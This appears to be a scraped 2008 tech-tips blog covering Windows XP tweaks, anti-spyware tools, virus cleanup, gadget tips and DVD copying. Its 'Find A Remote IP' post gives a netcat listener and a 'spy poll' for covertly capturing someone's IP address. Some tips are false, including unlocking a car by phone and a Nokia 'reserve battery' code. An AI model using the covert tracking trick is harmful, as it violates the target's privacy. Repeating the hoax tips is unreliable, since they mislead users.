Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k

Finding is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k

Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

Lock Your Computer XP [Windows XP Security]

2008-07-05T11:01:00.004+08:00

To lock a computer in XP, as you probably know, you press "L" while holding down "Windows Logo" key on your keyboard.

However, if you would like to lock a computer remotely, for example via "Remote Administrator", you don't have this ability.

What you can do instead, is to create a shortcut on remote computer's desktop where Target %windir%\System32\rundll32.exe user32.dll,LockWorkStation Start In %windir%

Caught A Virus in PC [Windows Xp Security]

2008-07-05T10:56:00.006+08:00

If you've let your guard down or even if you haven't it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.

Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.

You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.

It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.

For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."

Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.

Is Your PC "Owned?"
I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?
Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:

- An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses.

- A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.

I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.

Sniffing Out an Infection
There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.

To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.
If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.

Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.

Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.

If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.

What to Do Next
Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.

- If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.

- If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.

A Microgram of Prevention
Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.
Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).

Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.

Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."

Here are a few more pointers for a virus-free life:
- Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.

- If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.

- Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.

Block Websties Without Software [Windows Xp Tricks]

2008-07-05T10:53:00.002+08:00

Steps:

1. Browse C:\WINDOWS\system32\drivers\etc

2. Find the file named "HOSTS"

3. Open it in notepad

4. Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.

5. Done!

So

127.0.0.1 localhost
127.0.0.2 www.blockedsite.com

www.blockedsite.com is now unaccessable

For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

127.0.0.3 www.blablabla.com
127.0.0.4 www.blablabla.com
127.0.0.5 www.blablabla.com

Protect Your PC Files From External Attack [Windows Xp Security]

2008-07-04T21:32:00.002+08:00

Essential to peace of mind is protecting the PC and your online privacy. When connected to the web, your work and data is open to attacks of various kinds including harmful downloads. A simple game, picture, or program may be the vehicle for malevolence. So, you need to check whether every file that you download, open, or save, is safe or whether there are irregularities of any kind.

Protect your PC by:

1. Blocking hackers and viruses by installing the latest firewall and antivirus software. It is advisable to install a software firewall even if you have a hardware firewall in your system. A software firewall is designed to query whether or not it should permit “X,” access. The user can specify which applications can access the port and which cannot. A bi-directional firewall such as ZoneAlarm3 and Personal Firewall 5 will monitor both inbound and outbound traffic preventing Trojans and backdoor programs from functioning.

2. Block downloads that install unwanted programs by using the options in Internet explorer to block all software from source X specified by you.

3. Install software programs that will constantly scan your PC for spyware, adware, dialers, and web bug traces which can create a nuisance and cause crashes, slow down systems, or steal financial information. By adding a schedule you can instruct NoAdware to automatically scan your PC at set times for in-filtrations.

4.Immunize your PC and prevent malicious add ons to your system.

5.Configure your PC browser to protect you when you are working online. Use a ‘real time shield’ and prevent intrusions. Be sure to click the “protect IE Favorites” box and ensure that no thief can add an URL without your permission to your browser’s favorites list. This will block offensive and dangerous websites from entering your PC environs.

6. Say “no” to any web address or site that instructs you to download specific software to view their pages. Such software can contain a virus, Trojan horse, or auto dialer.

7. Create a regular back up schedule for your work. Once a week is ideal if you are a virtual worker or running a business. This will minimize any damage should problems arise.

8. Be sure to update your software with the latest patches and bug fixes. Then use the updated or enhanced security settings provided by the updates. There are in built ways which you can operate to block damaging viruses, stamp out cookies, and keep unwanted visitors away from your computer system. The method is easy for example if you are using Internet Explorer just go to Tools-Internet Options-Privacy tab. Click the edit button to accept or reject a specific cookie. Go to the advanced settings and check block third party cookies.

9. Scan all downloaded files before use. Never launch executable or scriptable files namely those that have dot.exe; .bat ;.doc; .vbs extensions. Do not access attachments of any kind before they are certified as safe.

10. Remove file sharing and windows printer options these increase vulnerability of the PC.

11. Encrypt your e-mail and embed an identifying key.

Better be sure than sorry. Preventing snoops is easier than trying to recover after an attack. Take informed steps to protect yourself and your PC

Remove Unwanted Programs Windows XP [Windows Xp Tips]

2008-07-04T21:31:00.002+08:00

If you want to remove some additional programs that are installed with windows but are not initially visible in Add / Remove, edit a file called "C:\WINDOWS\INF\SYSOC.INF". In there you will find a listing of programs, and you will note that some programs have the word 'hide' at the end. Simply remove the word 'hide' but leave the extra comma:

BEFORE:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

AFTER:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now when you open Add-Remove Windows Components, you will see a new choice, in this example, "Windows Messenger"

Firefox Speed Tweak [Internet Tips]

2008-07-04T21:30:00.004+08:00

Yes, firefox is already pretty damn fast b

Publish Post

ut did you know that
you can tweak it and improve the speed even more?

That's the beauty of this program being open source.

Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.

Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.

Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.

Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300

One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.

Now you should notice you’re loading pages MUCH faster now!

Boot Windows XP Fast [Windows Xp Tips]

2008-07-04T21:30:00.003+08:00

Follow the following steps

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".

5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and
repeat step 9.

11. Reboot your computer.

Change Windows XP Boot Screen [Windows Xp Tricks]

2008-07-04T21:29:00.003+08:00

There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.

Once you have ntoskrnl.exe file in an easy access folder, restart your PC into safe mode. Once into safe mode go to the folder where your files are located.

Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.

Once there paste your new file into the folder and overwrite the existing folder.

Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.

ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or you can go to http://www.overclockersclub.com/guides/hackxpbootscreen.php

Disabling The 'UNSIGNED DRIVER' Dialogs [Windows XP Tips]

2008-07-04T21:26:00.001+08:00

This option wll disable the screen which keeps popping up when you try to install 'digitally unsigned drivers'. Normally you can choose to continue the install anyways, but I have had situations where you cannot continue the install.. very annoying.. This is how to fix it:

1. Click Start - Run

2. type: gpedit.msc

3. then hit enter.

4. Browse the folder tree to the following location:

5. User Configuration - Administrative Templates - System

6. now right-click Code signing for Device drivers and select Properties.

On the Settings tab, either select

7. enable, and then select ignore from the appearing listbox or click the disable option.

8. Click apply and Ok and your set!

Alternatively especially for XP Home users

1. Open "System" properties (Windows key + pause or Right click 'My Computer' - properties or Control Panel - System).

2. On the Hardware tab click the "Driver Signing" button.

3. In the dialogue that comes up choose "Ignore" to install the new driver anyway.

Lighting Fast Start-Up Internet Explorer [Internet Tips]

2008-07-04T21:25:00.002+08:00

Isn't it annoying when you want to go to a new website, or any other site but your homepage, and you have to wait for your 'home' to load? This tweak tells Internet Explorer to simply 'run', without loading any webpages. (If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded..). To load IE with 'nothing' [nothing is different than blank]:

1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]

2. Click Properties

3. Add ' -nohome' [with a space before the dash] after the end quotes in the Target field.

4. Click OK

Fire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!

Auto Delete Temporary Folder [Windows Xp Tips]

2008-07-04T21:24:00.004+08:00

1. First go into gpedit.msc

2. Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder

3. Then right click "Do Not Delete Temp Folder Upon Exit"

4. Go to properties and hit disable.

5. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

Disable The Send Report Error Windows Xp [Windows Xp Tips]

2008-07-04T21:24:00.003+08:00

1. Open Control Panel

2. Click on System.

3. Then click on the Advanced tab

4. Click on the error reporting button on the bottom of the windows.

5. Select Disable error reporting.

6. Click OK

Disable Windows Logo [Windows Xp Tricks]

2008-07-04T21:22:00.001+08:00

I was recently playing games and this nasty windows logo key keep annoying me , cause i often accidentally clicked it , and i start to search a solution to solve my problem, and found the following article in Microsoft website, and it did work, hope this helps, thanks!

CODE
http://support.microsoft.com/?kbid=181348
or in other articles, you can copy the following messages into your notepad and save as *.reg, and use it..
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,03,00,00,00,00,00,5b,e0,00,00,5c,e0,\
00,00,00,00

Disable the Windows XP Splash Screen [Windows Xp Tricks]

2008-07-04T21:20:00.002+08:00

Ever wonder what's going on behind that splash screen? Well, now you can find out!

1. Right click My Computer, Properties, Advanced, Startup and Recovery, Edit.

2. Edit BOOT.INI.

3. Add "/SOS" right after "/fastdetect" with a space between.

The line will look something like this:

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SOS

When you're finished. The first part, multi(0)..... may not be the same on your machine. Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.

Copy Songs From Your iPod To Your PC [Technology Tips]

2008-07-04T21:16:00.005+08:00

A reader points out a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:

1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.

2. In Control Panel, Portable Media Devices, double-click your iPod.

3. Navigate to the Music folder.

4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.

And you’re done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check “Keep iTunes Music Folder organized.”)

If you give this a go, lemme know how it goes. I’ll amend the instructions with any additional info for other versions of Windows and iPods.

Just for the record, I did not write this article, but I would have known how to do this. But one thing I have noticed is that you do not need to go into the control panel. Instead just make explorer.exe show hidden folders. Then, navigate into the iPod directory, go into iPod_control, and follow step four of the article.

Changing Title Of Windows Media Player [Windows Xp Tweaks]

2008-07-04T21:16:00.004+08:00

1. Start Regedit

2. Go to HKEY_USERS \ .DEFAULT \ Software \ Policies \ Microsoft \ WindowsMediaPlayer

3. Create a string value of TitleBar

4. Give it a value of whatever you want to appear in the title bar

15 Ways to Increase Laptop Battery Life [Technology Tips]

2008-07-04T21:15:00.003+08:00

While laptop chips have become better and better at saving power, other changes, like more powerful laptop graphics cards, faster hard drives, and Windows Vista, have erased many of those gains.

So, you'll need to take it upon yourself to improve your laptop's battery life if you really want to go the extra mile. And while that can be a confusing and tricky process, this blog post offers some helpful advice so you don't have to go it alone. Among the 15 suggestions offered at Friedbeef's Tech (hey, I didn't name it), here are the ones that will really impact your battery the most.

Add more RAM
More RAM means the computer will access the hard drive less frequently, and the hard drive uses much more power than your RAM sticks.

Dim your screen
Those big, "ultra-bright" displays really suck down the power. Dimming your screen just 20 percent can add a good chunk of time to your battery life.

Unplug external devices
Anything plugged in via USB, FireWire, or PC Card/ExpressCard draws power from your computer. Yes, even your mouse. And of course, turn off your Wi-Fi radio when you don't need it.

Minimize CD/DVD use
Optical drives are probably the worst offender on your notebook when it comes to battery use. Unless you're watching a movie, don't even leave a disc in the optical drive, as Windows loves to occasionally read it, just to check on things...

The post doesn't exactly mention it, but don't forget about the Power Options control panel in Windows, which will let you manage hard drive auto-spin-down, screen brightness, and other settings in one central location. It's a great first place to start... then check out Friedbeef's 11 other tips!

Source: http://tech.yahoo.com/blogs/null/34884

Copy A DVD Which Will Play On A XBox [Technology Tips]

2008-07-04T21:14:00.002+08:00

Tools You Will Need

DVD decrypter
DAEMON TOOLS
DVD2ONE
NERO 5.5.10 or above.

1. Rip the DVD in ISO mode with DVD decrypter to your hdd.
(mode=ISO-read)

2. Right click DEAMON TOOLS icon on your desktop
virtual cd/dvd rom
Device 0 [k] no media
Mount Image - ISO file

3. Make a main folder ( title MOVIE ) on your desktop.
make 2 subfolders in it VIDEO_TS and AUDIO_TS

4. Open DVD2ONE. choose movie only or entire disc.
source - drive you mounted in step 2 (VIDEO_TS)
Destination - VIDEO_TS folder you created in step 3.
start

5. DEAMON TOOLS - unmount the drive you made in step 2.
you can now delete the ISO file to save disc space

6. open NERO
close wizard
New Compilation DVD
Left Column (DVDROM/UDF/ISO)
No Multisession
UHF check Force DVD compatability (required for x box)
Label ( NAME OF MOVIE ) ALL CAPITAL LETTERS
Click New
drag over the VIDEO_TS FOLDER and AUDIO_TS folder you made
BURN

Top (10) Ten Things You Must Know About Credit Cards [Technology Tips]

2008-07-04T21:09:00.007+08:00

1. Interest Backdating
Nearly all credit card issuers charge interest from the day a charge is posted to your account if you don’t pay in full monthly. However some credit card companies charge interest from the date of purchase. THIS COULD BE DAYS BEFORE THE COMPANY HAS EVEN PAID THE STORE ON YOUR BEHALF!

Remedy: Find a credit card manufacturer that does not interest backdate or pay the bill in full on the due date.

2.Two-Cycle Billing
Credit card issuers using this method of calculating interest charge two months worth of interest for the very first month you failed ot pay off your balance in full. The issue arises when you switch from paying in full to carrying a blance from month to month.

Remedy: Again switch credit card users or always pay your balance in full.

3. The Right to Setoff
In many instances you may have money on deposit at a bank as well as have your credit card issued from that bank. In the fine print of the agreement that you signed when you opened the account you may have granted the bank the right to take funds from your deposit account when you become delinquent on your credit card.

Remedy: Choose separate banks, or avoid being delinquent.

4. Fees Are Negotiable
On many of your cards you may be paying upwards of $50 per year as an annual fee on your credit card. Your cards may also be subject to finance charges of more than 18 percent.Remedy: As a good customer, you can ask the bank to reduce the interest rate and wave the annual fee. Also, you can you can always switch to a lower priced card.

Remedy: As a good customer, you can ask the bank to reduce the interest rate and wave the annual fee. Also, you can you can always switch to a lower priced card.

5. Interest Rate Hikes Are Retroactive
When you sign up for a credit card with a common low teaser rate similar to 7.7 percent, when that trial or low rate period expires, your leftover balance will likely be subject to the regular and substantially higher interest rate.

Remedy: Close the account or pay in full before the rate increases.

6. Shortened Due Dates
Most card issuers offer a 25-day grace period in which to pay for new purchases without incurring finance charges. Some banks have shortened the grace period to 20 days -- but only for customers who pay in full monthly.

Remedy: Ask to go back to 25 days.

7. Eliminating Grace Periods
As always, that magnificent offer you received in the mail for a platinum card with a $25,000 credit limit and numerous perks may not be so great. The most common problem or string attached is the card has no grace period. You are charged interest on every purchase from the day you buy it, even if you pay on time.

Remedy: Throw the offer out immediately!

8. Disappearing Benefits
Many banks persuade you to sign up with extra benefits such as a 6 percent discount on all travel or protection if an item is purchase or lost or a lifetime warranty. Many banks have actually cut back on these perks without announcing it.

Remedy: Read annual disclosure of changes and ask your bank, switch cards if need be.

9. Double Fees on Cash Advances
Many credit cards impose both finance charges and a transaction fee on cash advances. Also, interest begins from the day of the advance, and the additional transaction fee can be up to 2.5 percent of the amount taken. Be very weary of cards advertising “no finance charges.” Transaction fees will most likely still apply.

Remedy: Don’t do cash advances.

10. Misleading Monthly Minimums
It may seem to you to be beneficial to have a credit card where you only need to pay 2 percent to 3 percent of your monthly balance. It is just the opposite however. The bank stands to make far more money from all of the finance charges the longer you carry out these payments and of course you pay every penny.

Remedy: Pay all your credit cards off monthly.

Digital Camera Guide [Technology Tips]

2008-07-04T21:09:00.006+08:00

So, it's time for a digital camera huh? Well, buying one can be more than a little difficult. What types of features should you look for? Well, this guide will tell you that plus get you a little more familiar with what these cameras are capable of.

Megapixels
When it comes to megapixels, the more the better. I recommend a minimum of 2, but 3 or 4 is great. We did a test to see if a camera with 2.3 megapixels (actually 1.92 - 1600 x 1200) could produce a good quality 8x10.

Turns out it can, if you have the right paper and printer. We used HP Premium Plus photo paper with an HP 970 series printer and made a fantastic 8 x 10. Remember, I was a professional photographer before I got into computing, so I know a good print when I see it :-)

The resolution at 8x10 (we had to crop in to make the picture proportional to 8x10) was only 150 DPI. Most printers would not make a real good 8x10 at that resolution, but this one did. So, if you want to be sure you can get good 8 x 10s, you may want to go with a 3 megapixel camera or better (that gives you around 200 DPI at 8x10 size, still not quite the optimum 300 DPI, but it looks good with the right printer).

Optical vs Digital Zoom
You've probably noticed that most digital cameras have both a specification for digital and optical zoom. Pay the most attention to the optical zoom.

The optical zoom magnifies (zooms in) using glass. The digital zoom basically crops out the edge of the picture to make the subject appear closer, causing you to lose resolution or to get an interpolated resolution (i.e. the camera adds pixels). Neither of which help image quality.

Finally, make sure you get enough (optical) zoom. A 2x zoom isn't going to do much for you. A 3x is the average you'll find in most digital cameras will probably be good for most uses. More on lenses later.

Connection
How does the camera connect to your computer? If you have a USB port in your computer, you'll want a camera that can connect via USB as opposed to a slow serial connection.

On the other hand, if your computer doesn't have a USB port, is there a serial connector available for the camera you're looking at? If so, is it a special order and how long does it take to get it?

Storage
What does the camera use to store images with? If it uses a memory stick, make sure you consider buying additional sticks when you get your camera. A typical 8 meg memory stick that comes with a 2 megapixel camera only holds 5 or 6 images at the camera's best quality.

Some cameras use a 3.5 inch disk for storage. Be careful of these!
Although it may sound like a good idea, a 3 megapixel camera at high resolution produces a 1 meg file (compressed!). That's only 1 picture per disk.

Here's a few more things to look out for when trying to make your digital camera purchase.

Picture Formats
When you're trying to decide on which digital camera to get, check and see how many different picture formats it supports.

You want something that can produce both uncompressed (usually TIFF) and compressed (usually JPEG) images. I personally use the high quality JPEG setting on my camera for most of my shooting. TIFFs are just too big and the difference in quality is not ascertainable by mere mortals.

You also want to be able to shoot at a lower resolution than the camera's maximum. That way, If you're running short on memory, you can squeeze a few more shots on your memory stick.

Auxiliary Lens / Flash
This was a biggie for me. While a 3x zoom may work for the "average" user, I needed something that allowed me to do some wide angle work as well as have a good telephoto lens.

So, the camera I purchased a few months back was a Nikon Coolpix 990 (note that this isn't the only camera that can accept lenses). It has auxiliary lenses that screw into the filter ring on the front of the lens. I now have an ultra-wide fisheye lens plus a nice telephoto.

In addition to lenses, I wanted a good flash. The flash that is built into most of these cameras gives you a top range of 15-20 feet - at best. I wanted a camera that could take a powerful auxiliary flash (again, the Nikon isn't the only camera that fits this requirement, but I liked it better than the rest). If you need more reach than the small built in flash can deliver, then make sure you can attach an external flash to any camera you consider.

As an added bonus, if you get a camera that can take an external flash, you can place that flash on a bracket and eliminate red-eye.

Flash Distance
Speaking of flashes, make sure you check the distance the built in flash is good for. You don't want a camera with a wimpy flash that only travels a few feet (well, unless you can get an external flash for it as described above).

Battery Type
This may not sound important, but it is. Anyone who owns a digital camera can tell you they eat batteries the way a sumo wrestler eats at a buffet.

Make sure the camera can run on regular (or rechargeable) "AA" type batteries. You don't want a camera that eats through expensive lithium batteries every 10 shots or so.

One thing to remember about digital cameras, they do eat through batteries. I recommend getting some Nickel Metal Hydride rechargeable for it. I have some for mine and they have saved me a fortune.

Final Notes
Choosing a digital camera isn't easy. There's a huge selection out there and only you can determine which features you need.

For instance, if you shoot wildlife photos, a small 3x zoom probably isn't going to cut it (unless you can attach auxiliary lenses to it). If you shoot lots of close-ups, make sure the camera has some sort of macro capability. If you shoot big group photos indoors, an external flash may be necessary.

My advice is to make a list of things you want to be able to do with the camera then go to somewhere that can help you make a good purchase decision.

Finally, buy the BEST camera you can possibly afford. Or wait until the price drops on one with the type of features you want.

Find MP3's real quickly [Internet Tips]

2008-07-04T21:08:00.001+08:00

Another good way of finding MP3s (or other formats) is using Google and typing the following:

parent + directory + mp3 + OR + wma+ #dido#

Replace #dido# by whatever artist you wish to find, for example:

parent + directory + mp3 + OR + wma+ #Lamb#

You should get plenty of dirs with MP3s or WMA files (you could add OGG, etc, to the query). Cheers.

3 Useful Tips For The Users Of Mobile Phone [Technology Tips]

2008-07-04T21:05:00.005+08:00

Something to share with all.

1) Emergency number
The Emergency Number worldwide for Mobile is 112. If you find yourself out of coverage area of your mobile network and there is an emergency, dial 112 and the mobile will search any existing network to establish the emergency number for you, and interestingly... this number112 can be dialed even while the keypad is locked.

Try it out.

2) Locked the keys in the car? Your car has remote keys?
This may come in handy someday. Good reason to own a cell phone. If you happen to lock your keys in the car and the spare keys are home, call someone on your cell phone. Hold your cell phone about a foot from your car door and have the other person at your home press t he unlock button, holding it near the phone on their end. Your car will unlock. Saves someone from having to drive your keys to you. Distance is no object. You could be hundreds of miles away, and if you can reach someone who has the other "remote" for your car, you can unlock the doors
(or the trunk).

Editor's Note: *It works fine! We tried it out and it
unlocked our car over a cell phone!"

3) Hidden Battery power
Imagine your cell battery is very low, u r expecting an important call and u don't have a charger. Nokia instrument comes with a reserve battery. To activate, press the keys *3370# Your cell will restart with this reserve and the instrument will show a 50% increase in battery. This reserve will get charged when u charge your cell next time.

Find A Remote IP [Internet Tips]

2008-07-04T21:03:00.002+08:00

Method 1
To view someone's IP# when they send you hotmail email do this:

1) Click "Options" on the upper right side of the page.

2) On the left side of the page, Click "Mail"

3) Click "Mail Display Settings"

4) Under "Message Headers" select "Full" or "Advanced"

5) Click ok

Method 2
reg a dydns account and install the ip pointer, so each time you ping the host name you regestored
for example:you regestor the host name myhost.dydns.com, then you keep a little software running on the target host. The little software will keep update your IP to dydns.com server.
so at your pc just start cmd, and ping myhost.dydns.com, it will give you the most updated ip address.

Method 3
neverender, what doesn't work for you? Simply type in nc -vvv -l -p 80 on your box, which will set it to listen in verbose mode on port 80. Then give them a link to your IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that your friend is not very computer literate.

Method 4
Just download a very simple server such as this one and install it on your comp. Then run it and give your ip to the person you want and tell them to connect to it through a browser. Your server will log their connection and you will get their IP.

link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6
Other Ways-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll-originalicons.com there is a page for doin it (i dont like it, but it works)-or irc

Here is a more detailed tutorial about using NetCat.
